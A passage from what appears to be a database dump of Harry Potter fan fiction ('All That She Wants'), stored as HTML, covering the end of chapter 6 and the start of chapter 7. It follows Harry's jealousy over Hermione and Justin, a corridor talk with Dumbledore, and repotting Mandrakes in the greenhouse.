it.&nbsp; She pulled the silver box from it&#8217;s\nconfinement and placed it on the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh wow.&#8221; Holly breathed out, &#8220;I have seen these in\nHogsmeade, and they are really expensive.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Who would have given me something like this?&#8221; Hermione thought\nthat accepting these silly little gifts from fellow students was all right, but\nthis.&nbsp; This was something that actually\ncost money, and a whole heck of a lot of money at that.&nbsp; She looked about The Great Hall for any sign\nof the person who sent this to her.&nbsp; She\nsaw Justin waving to her from the Hufflepuff table, he also pointed to his\nchest telling her that he gave her the gift.&nbsp;\nHermione looked at him in amazement.&nbsp;\nShe really didn&#8217;t want gifts like this, but Justin was actually paying\nattention to her.&nbsp; She really didn&#8217;t want\nto mess that up now; especially since Harry&#8230;well she didn&#8217;t want to think about\nHarry at all.&nbsp; Hermione accepted the gift\nand gave him a soft smile and mouthed a thank you to him.&nbsp; She saw him smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Now that&#8217;s a gift.&#8221; Blaise breathed out, she heard a grunt\nfrom across from her.&nbsp; She looked\nstraight and noticed Harry was gripping his fork so tight that his whole hand\nwas turning white. She reached out and grabbed the fork from him so he wouldn\'t\nhurt himself. &#8220;Hey, what&#8217;s the matter?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Nothing,&#8221; Harry said glaring down at his plate, for some\nreason he really hated that Justin Finch Fletchley.&nbsp; He didn\'t hate him\nbefore, but now just thought of Justin made him want to hit something.&nbsp; \'Yeah his face.\'&nbsp; Harry\'s head said. He quickly finished off\nhis breakfast at rapid speed.&nbsp; As soon as\nhe was done, he stood up and raced from the Great Hall without looking back at\nanyone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise never knew him to eat so quickly, and then out of the\ncorner of her eye she saw students begin to leave the Great Hall for a fun\nrelaxing Saturday.&nbsp; She was never in a\nrush so she let the mob of students go first.&nbsp;\nBlaise took a breath and saw Justin pat Draco on the shoulder and left\nhis side.&nbsp; He was walking quickly over to\nHermione who still had her bag with her.&nbsp;\nBlaise guessed she was going to the library, she wondered if she was\ngoing there to study or to stay away from Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I noticed you carrying you bag, would you like me to carry\nit for you?&#8221; Justin offered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh no that&#8217;s alright, I can manage.&#8221; Hermione said as she\nstarted walking towards the Great Hall doors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So what are your plans for today?&#8221; Justin kept in step with\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I was going to the library to study; we have a test in\nCharms and History of Magic on Monday.&nbsp; So\nI thought I would study a bit for it today.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well could I study with you?&#8221; He asked with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Sure, I suppose.&#8221; She smiled back.&nbsp; &#8220;Why don&#8217;t you go get your books and meet me\nin the library?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Great, I&#8217;ll just be a few minutes.&#8221; Justin quickly fled\nfrom the Great Hall towards the Hufflepuff common room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione continued on her way to the library, she heard\nfootsteps behind her and turned slightly around to find Blaise following\nher.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione, what are you doing?&#8221; Blaise asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m going to the library.&#8221; Hermione answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, I mean what are you doing with Justin when you love\nHarry?&#8221; Blaise said the wrong thing because Hermione stopped in her tracks and\nglared menacingly at her.&nbsp; Blaise felt\nherself actually cringe in fear.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m going to pretend I didn&#8217;t hear you say that.&#8221; Hermione\ntossed her hair back and started walking again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise took a deep breath and managed to catch up to\nHermione.&nbsp; &#8220;Look, I know Harry was being\nan asshole&#8212;&#8221; She was cut off.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I would appreciate it if you would not speak his name in my\npresence, ever again.&#8221; Hermione&#8217;s tone was bitter, the tears were threatening\nto swell in her eyes, but she held them back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;He didn&#8217;t mean to say those things; he really didn&#8217;t know\nwhat he was doing.&#8221; Blaise said sympathetically, she actually felt sorry for\nHermione.&nbsp; She could see how much pain\nthe girl was in.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;He always knows what he&#8217;s doing; there isn&#8217;t a time where\nhe doesn&#8217;t think his actions through first.&nbsp;\nHe never goes blindly into anything.&#8221; Hermione stepped closer to Blaise.\n&#8220;And you know that as well as I do.&#8221;&nbsp; She\ncrossed her arms over her chest, &#8220;Why are you even talking to me, I can&#8217;t\nbelieve a single word that comes out of your mouth.&nbsp; You are Harry&#8217;s.&#8221; She spat his name in\ndisgust, &#8220;Friend, not mine.&nbsp; Go be with\nhim.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know he is being a jerk, but&#8212;&#8221; Blaise started to say but\nshe was cut off.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Look I don&#8217;t care, just leave me alone, I only have about\nsix more months of this damn school life left and I just want to get through it\nmove on.&#8221;&nbsp; Hermione pushed passed Blaise\nroughly and headed down towards the library.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione wanted her table, but a few other students had\ngrabbed it. She sighed. Oh well she glanced around for an empty one.&nbsp; Something caught her eye and made her feel\nsick, it was Harry and he was flirting shamelessly with Kelly, can&#8217;t they go\nsomewhere else and do that.&nbsp; This is a\nplace of learning not of flirting.&nbsp; She\nwanted to go and kick him in the head. Hermione shook her head; no she wasn&#8217;t\ngoing to let him get to her.&nbsp; She came to\nstudy and that&#8217;s just what she was going to do.&nbsp;\nShe heard someone calling her name and she glanced around in several\ndifferent directions.&nbsp; Hermione found\nJustin waving her over, and she went to his table and sat down across from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;My usual table was taken over by fourth years.&#8221; She said in\nhuff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah I saw that.&#8221; Justin said.&nbsp; They took out their books and began a\nwonderful study session.&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry let Kelly get back to her work; he lifted his head\nslightly, glancing at the table not to far from his.&nbsp; He saw Hermione talking quietly with\nJustin.&nbsp; He knew she would come in here,\nshe always did.&nbsp; Harry just didn&#8217;t\nunderstand why he needed to now be around her all the time. He had just ended\ntheir friendship last night and now he was trailing her and figuring out what\nshe was going to do next.&nbsp; He thought\nthat ending their friendship was going to set him free, and that he would\nactually feel relieved and be able to get back to his previous way of life.&nbsp; But now he felt even worse off without her\naround and hasn&#8217;t even been half a day.&nbsp;&nbsp;\nThis was not right, it wasn&#8217;t normal.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry stood up and tried to leave the library but he only\nsucceeded in going to a shelf and pretend to look for a book, occasionally he\nwould shift his eyes to Hermione and Justin.&nbsp;\nShe was smiling about something while looking at Justin.&nbsp; Harry felt that new twisting feeling,\nfollowed by a burning sensation in his stomach.&nbsp;\nHe even grabbed a really large, heavy book from off the shelf and\nbrought it back to his table.&nbsp; He\nremained standing still looking at them, he didn&#8217;t lift his head much, but his\neyes were still focused on them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Justin smiled lightly at Hermione, &#8220;And then I cross\nreferenced the time of the Great Giving, they are talking about the same thing\nhere.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know, I wouldn&#8217;t have ever caught that.&#8221; Hermione said\nin amazement.&nbsp; &#8220;It&#8217;s absolutely\nbrilliant.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Thank you, but you are even more brilliant then I, I just\nfound something and it isn&#8217;t even really that important.&#8221; Justin leaned forward\nsome.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I wouldn&#8217;t be so sure of my brilliance, a lot of things\nwhich I thought were right well turned out so very wrong.&#8221; She glanced down at\nher hand in distress; her eyes closed for a moment until she felt a hand cover\nover hers, her head snapped up she caught his blue gaze, a question in his\neyes.&nbsp; Hermione leaned forward a little,\nas did he.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Whatever that was wrong, isn&#8217;t of importance anymore.&nbsp; We learn from our mistakes.&#8221; He was leaning\ncloser.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes,&#8221; She nodded. &#8220;Mistakes are what give us our edge.&#8221; She\nsaid quietly. &#8220;Without them there is no way to learn.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They were closer now; their lips not even an inch from one\nanother.&nbsp; Hermione&#8217;s eyes closed as did\nhis, they were making the final move to press lips against lips when <b style="mso-bidi-font-weight:normal">SLAM!</b> A loud echoing noise startled\nthem both; Justin and Hermione jumped back, not getting their kiss.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was positively fuming; he had lifted that book high in\nthe air and slammed it down against the table wanting to interrupt Hermione and\nJustin.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;Why is that bothering you so? Because she can&#8217;t kiss him. I won&#8217;t\nallow it.&nbsp; You don&#8217;t have a say.&nbsp; I don&#8217;t care; Finch Fletchley is not going to\nkiss her.&nbsp; So just because you can&#8217;t kiss\nher you won&#8217;t let anyone else kiss her either?&nbsp;\nShe doesn&#8217;t belong to you. I could kiss her if I wanted too, it&#8217;s just\nthat&#8230; It&#8217;s just a what?&nbsp; Never mind. He&#8217;s\nnot kissing her that&#8217;s all there is to it.&nbsp;\nYou don&#8217;t have any rights to keep her from kissing whomever she\nwants.&nbsp; Don&#8217;t tell me what to do, I will\ndo whatever I want, and if I want to keep them from smooching, then I\nwill.&nbsp; Think about this, why do you want\nto keep them from kissing?&nbsp; It&#8217;s not like\nyou love her and are afraid you might lose her.&#8217; </i>&nbsp;And the annoying voices faded from his mind,\nhe glanced over at Hermione.<i style="mso-bidi-font-style:normal"> </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione glanced down at the table.&nbsp; &#8220;Well I better go; I think I&#8217;ve done enough\nstudying for now.&#8221;&nbsp; She stood and placed\nher books into her bag, &#8220;thank you for studying with me Justin, I really\nappreciated it.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Anytime.&#8221; Justin said, he watched her turn to go. &#8220;Uh,\nHermione?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She turned around a lovely smile upon her face. &#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Next weekend, how about you and I go to Hogsmeade, as in a\ndate?&#8221; Justin asked hopefully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione thought of her last date with Dean, what a\ndisaster.&nbsp; But something in Justin&#8217;s eyes\nwere different when she agreed to go with Dean.&nbsp;\n&#8220;Alright, it sounds like fun.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Great, I&#8217;ll talk to you more about it once it gets later in\nthe week.&#8221; Justin smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded with a gentle smile and she turned, leaving\nthe library while Justin returned to his work.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Kelly was staring at Harry, still wondering why he slammed\nthat big heavy book down against the table.&nbsp;\n&#8220;Are you alright? What was that about?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry glanced down at Kelly, &#8220;Uh, it slipped from my grasp.\nIt&#8217;s a heavy book.&#8221;&nbsp; He then looked to\nthe doors that Hermione had left from.&nbsp;\n&#8220;Excuse me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Where are you going?&#8221; Kelly asked, they were supposed to\ndiscuss the novel and she was looking forward to it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I have a few things I forgot about that need to be taken care\nof.&#8221; He smiled, &#8220;Hey we&#8217;ll discuss the novel don&#8217;t worry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well alright.&#8221; Kelly smiled and went back to her reading.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry raced from the library and there wasn&#8217;t any sign of\nHermione, &#8216;<i style="mso-bidi-font-style:normal">Where would she have gone now?</i>&#8217;\nHe thought to himself.&nbsp; Harry turned the\ncorner and ran smack into Headmaster Dumbledore.&nbsp; &#8220;Oh sorry.&#8221; Harry apologized.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No harm done, no harm.&#8221; Dumbledore smiled.&nbsp; &#8220;Tell me, why you are in such a rush Mr.\nPotter?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No reason.&#8221; Harry lied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah, I bet it&#8217;s a girl you&#8217;re chasing after.&#8221; Dumbledore\nsaid.&nbsp; &#8220;One that might get away, one that\nis special, one that you care about?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry stood there expressionless, &#8220;Sir?&#8221; He was confused but\nhe didn&#8217;t let on.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Remember our hearts are our most prized possessions, love,\ntrust. They both go together.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry sighed, &#8220;Sir if I may?&#8221; He saw Dumbledore nod. &#8220;Why\ndoes everyone think love exists, it&#8217;s just in our imaginations.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I know you don&#8217;t put much faith in love my boy, how\ncould you when you have never known. Right?&#8221; This time Dumbledore saw Harry\nnod.&nbsp; &#8220;Then answer me this, how do you\nknow it doesn&#8217;t exist when you have never felt it.&nbsp; Just because you have never known something\ndoesn&#8217;t mean it doesn&#8217;t exist.&nbsp; Take us\nfor instance, no Muggle believes that we really exist, but we do.&#8221; Dumbledore\nsmiled and continued on down the corridor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry stood there a moment, thinking, staring. Trying to\ngrasp what Dumbledore meant.&nbsp; Reality hit\nhim like a ton of bricks.&nbsp; He loved her.\nLove exists, and it exists in the form of Hermione.&nbsp; He didn&#8217;t like it when she wasn&#8217;t around;\nthere was an empty ache, silence, a void that couldn&#8217;t be filled. He felt half\nfull without her. She has always been there for him, even when she didn&#8217;t have\nto be.&nbsp; Her smile, her laugh.&nbsp; Her smell, her taste.&nbsp; Her thoughts, she always made him feel\nbetter, he never liked hurting her.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Hurting her&#8217;</i> His mind echoed. <i style="mso-bidi-font-style:normal">&#8216;Oh what have I done?&#8217;</i>&nbsp; Harry thought to himself.&nbsp; He closed his eyes tightly, &#8220;OH Hell I am\nsuch an asshole!&#8221; He shouted. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I agree you were.&#8221; Blaise said as she came around the\ncorner.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I have got fix this.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t think you can.&#8221; Blaise said, &#8220;I tried to talk to\nher this morning, she doesn&#8217;t even want your name mentioned within her\npresence.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I have got to try,&#8221; He glanced down at the floor. &#8220;Where\ndid she go?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I&#8217;m not to sure, you know her better then I do.&#8221;&nbsp; Blaise said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m going to set things right,&#8221; Harry thought a moment\nabout all her favorite places and one flashed into his mind, &#8220;I think I know\nwhere she went.&#8221;&nbsp; He took off in rapid\nspeed heading outside.&nbsp; Harry was going\nto find her and really apologize.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">========</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Well that&#8217;s it for chapter 6 I hope you all enjoyed it and,\nStay tuned for chapter 7.&nbsp; Remember read\nand Review.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-bottom:12.0pt">A/N:&nbsp; Thanks for all your wonderful reviews they\nwere awesome<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(15, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: :&nbsp; No way\nare any of the original HP characters mine they totally belong to J.K.\nRowlings.&nbsp; You are nuts to even think\nthat I own this, where do you people get your information. Honestly :)</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">All\nThat She Wants</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n7&#8212;That Thing You Do</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry dashed down the hall, Snape\nyelled at him to slow down or he would be given a detention for running in the\nhall the slimy professor would not take points away from his own house, but\nthat doesn&#8217;t mean he won&#8217;t give Harry a detention whenever he could.&nbsp; Harry did not want a detention so he slowed\ndown his pace a bit, and when Snape turned around Harry jumped into a run.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Where\ncould she be?&#8217;</i> Harry thought to himself.&nbsp;\nThe first thing that popped into his head was Hagrid. &nbsp;Hermione sometimes liked to help out Hagrid\nwith his pets.&nbsp; It was worth a shot to\ntry her there first.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He was heading in the direction of\nHagrid&#8217;s hut when he saw the retreating figure of Hermione heading towards the\ngreen house.&nbsp; Harry was lucky.&nbsp; He followed her trying to catch up.&nbsp; He even called out her name, but she seemed\nto not hear him for she didn&#8217;t slow down to wait for him, she kept going.&nbsp; No change in her pace, she moved no faster or\nslower.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione opened the greenhouse\ndoor, and Professor Sprout looked up at her with a smile. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Lock the door dear, you wanted to\nhelp me with the Mandrakes, we don&#8217;t want anyone coming in.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded and turned towards\nthe glass, she saw Harry coming towards the greenhouse she narrowed her\neyes.&nbsp; As soon as he reached the door,\nshe made it seem that she didn&#8217;t even see him.&nbsp;\nShe continued to lock the door and turned back to face Professor Sprout.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry didn&#8217;t like that, it was if\nshe didn&#8217;t even see him.&nbsp; He knocked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor Sprout heard a knock on\nthe glass door and she turned to find another of her prize students Harry\nPotter standing there.&nbsp; She walked to the\ndoor, unlocking it.&nbsp; She opened it\nslightly.&nbsp; &#8220;Oh are you volunteering to\nhelp with the rest of the Mandrakes as well?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glanced at Hermione for a\nmoment who wasn&#8217;t looking at him but gathering red pots and setting them on one\nof the long tables.&nbsp; He looked back at\nProfessor Sprout. &#8220;Yes I am.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Excellent, we&#8217;ll get done twice\nas fast with an extra pair of hands helping.&nbsp;\nWhy don&#8217;t you go and help Miss Granger get the rest of the pots ready.&#8221;\nProfessor Sprout smiled as Harry stepped into the greenhouse.&nbsp; She closed and locked the door.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry went and stood next to\nHermione he watched her for a moment, he noticed her eyes didn&#8217;t even shift to\ngive him a glance; she continued to work as if he weren&#8217;t even standing\nthere.&nbsp; He opened his mouth to talk to\nher but before he could get one word out Hermione had lifted a pair of ear\nmuffs that were hanging in front of her and slipped them on over her ears.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Well\nperhaps she just wants to get to work quickly&#8217;</i> Harry thought to\nhimself.&nbsp; He nodded and also grabbed for\na pair of ear muffs, he placed them on his head and over his ears.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Hermione, Harry and Professor Sprout managed\nto repot forty Mandrakes, during that time Harry tried to talk get Hermione&#8217;s\nattention but she was really bent on getting the work done, so he had to give\nup and just continue to work on the repotting. When they were finished the\nthree of them removed their ear muffs and set them on the rack that was sitting\non the table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thank you Miss Granger for your\nhelp.&#8221; Professor Sprout smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No problem Professor Sprout, I\nwill get extra credit won&#8217;t I?&#8221; Hermione asked with a smile.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Certainly.&#8221; she turned to Harry,\n&#8220;Same for you too Mr. Potter.&#8221;&nbsp; She saw\nHarry smile a little, the boy was probably starved. &#8220;Now I&#8217;m sure lunch has\nstarted why don&#8217;t you two get a move on?&#8221; Professor Sprout said and her\nstudents left the greenhouse. Hermione continued on up towards the school with\nHarry following after her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He rushed to catch up to her, man\nshe was moving quickly now.&nbsp; When he was\ncoming out of the greenhouse, Hermione had almost banged the door on him and\nthat slowed him down.&nbsp; He wasn&#8217;t sure,\nbut he thought he saw her smirk at that.&nbsp;\nShe wanted to cause him pain. <i style="mso-bidi-font-style:normal">&#8216;Well\nwhat did you expect? Shut up.&#8217;</i> Harry argued with himself.&nbsp; He continued to follow after her; he was\ngoing to talk to her now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\n&#8220;Hermione!&#8221; Harry called out and waited a few seconds she usually gave\nhim her attention fairly quickly, she didn&#8217;t respond or turn to face him.\nNothing at all.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;Is she ignoring me?&nbsp; It sure\nlooks like it.&#8217;</i> &nbsp;Harry shook his head\nand continued to follow after her, this time he broke out in a run.&nbsp; He almost reached her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pulled the heavy door\nopen to the school and stepped inside, the door closed behind her and she heard\nsomeone moaning ooow in agony.&nbsp; She\ngrinned wickedly <i style="mso-bidi-font-style:normal">&#8216;ha ha serves him\nright.&#8217; </i>&nbsp;She saw a crowd gathered by\nthe bulletin board.&nbsp; Hermione walked up\nto the group. &#8220;What&#8217;s going on?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Another student handed her a\nflyer, she read it silently to herself.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Dance at The Three Broomsticks, Saturday\nnight at seven. Be there or be square.&#8217;</i> Hermione cringed at that last bit.\n&#8220;Be square?&nbsp; What did this person think\nof when they were writing this?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Something from the movies about\nthe fifties no doubt,&#8221; Justin&#8217;s voice said from behind her.&nbsp; &#8220;Some muggleborn like us I&#8217;m sure.&#8221;&nbsp; Justin saw Hermione turn around and face him,\nhe smiled.&nbsp; &#8220;I think it would be fun,\nwould you like to go with 